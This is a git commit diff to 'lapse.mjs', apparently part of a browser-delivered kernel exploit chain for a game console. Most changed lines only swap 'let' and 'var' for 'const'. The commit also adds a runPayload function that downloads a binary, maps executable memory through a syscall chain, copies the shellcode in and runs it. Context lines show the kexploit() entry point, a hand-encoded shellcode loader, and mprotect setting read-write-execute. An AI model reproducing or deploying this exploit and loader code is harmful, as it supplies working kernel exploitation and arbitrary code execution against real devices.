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Added loading payload from file.

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Check end of `lapse.mjs` to switch what you're using.
This commit is contained in:
Al Azif
2025-06-01 21:28:52 -07:00
parent fc372f16b4
commit 5db4f41484
1 changed files with 49 additions and 9 deletions
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58
src/lapse.mjs
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@@ -767,7 +767,7 @@ function verify_reqs2(buf, offset) {
// check reqs2.ar2_result.state // check reqs2.ar2_result.state
// state is actually a 32-bit value but the allocated memory was // state is actually a 32-bit value but the allocated memory was
// initialized with zeros. all padding bytes must be 0 then // initialized with zeros. all padding bytes must be 0 then
let state = buf.read32(offset + 0x38); const state = buf.read32(offset + 0x38);
if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) { if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) {
return false; return false;
} }
@@ -1701,27 +1701,27 @@ export async function kexploit() {
// ChendoChap's from pOOBs4 // ChendoChap's from pOOBs4
function malloc(sz) { function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz); const backing = new Uint8Array(0x10000 + sz);
nogc.push(backing); nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10)); const ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = backing; ptr.backing = backing;
return ptr; return ptr;
} }
// ChendoChap's from pOOBs4 // ChendoChap's from pOOBs4
function malloc32(sz) { function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4); const backing = new Uint8Array(0x10000 + sz * 4);
nogc.push(backing); nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10)); const ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = new Uint32Array(backing.buffer); ptr.backing = new Uint32Array(backing.buffer);
return ptr; return ptr;
} }
// ChendoChap's from pOOBs4 // ChendoChap's from pOOBs4
function runBinLoader() { function runBinLoader() {
let payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x1000, 0xffffffff, 0); const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x1000, 0xffffffff, 0);
let payload_loader = malloc32(0x1000); const payload_loader = malloc32(0x1000);
let loader_writer = payload_loader.backing; const loader_writer = payload_loader.backing;
loader_writer[0] = 0x56415741; loader_writer[0] = 0x56415741;
loader_writer[1] = 0x83485541; loader_writer[1] = 0x83485541;
loader_writer[2] = 0x894818ec; loader_writer[2] = 0x894818ec;
@@ -1785,7 +1785,7 @@ function runBinLoader() {
loader_writer[60] = 0xc3050fca; loader_writer[60] = 0xc3050fca;
chain.sys("mprotect", payload_loader, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC); chain.sys("mprotect", payload_loader, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC);
let pthread = malloc(0x10); const pthread = malloc(0x10);
{ {
sysi("mlock", payload_buffer, 0x300000); sysi("mlock", payload_buffer, 0x300000);
@@ -1795,8 +1795,48 @@ function runBinLoader() {
log("Awaiting payload..."); log("Awaiting payload...");
} }
function runPayload(path) {
log(`loading ${path}`);
const xhr = new XMLHttpRequest();
xhr.open("GET", path);
xhr.responseType = "arraybuffer";
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
try {
const payload_buffer = chain.sysp("mmap", 0x0, 0x300000, 0x7, 0x41000, 0xffffffff, 0);
log(`payload buffer allocated at ${payload_buffer}`);
// Trick for 4 bytes padding
const padding = new Uint8Array(4 - ((xhr.response.byteLength % 4) % 4));
const tmp = new Uint8Array(xhr.response.byteLength + padding.byteLength);
tmp.set(new Uint8Array(xhr.response), 0);
tmp.set(padding, xhr.response.byteLength);
const shellcode = new Uint32Array(tmp.buffer);
for (let i = 0; i < shellcode.length; i++) {
mem.write32(payload_buffer.add(0x100000 + i * 4), shellcode[i]);
}
log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding.length} bytes padding)`);
chain.call_void(payload_buffer);
sysi("munmap", payload_buffer, 0x300000);
} catch (e) {
log(`error in runPayload: ${e.message}`);
}
} else if (xhr.status >= 400 && xhr.status < 600) {
log(`error retrieving payload, ${xhr.status}`);
}
}
};
xhr.onerror = function () {
log("network error");
};
xhr.send();
}
kexploit().then((success) => { kexploit().then((success) => {
if (success) { if (success) {
// runPayload("./payload.bin");
runBinLoader(); runBinLoader();
} }
}); });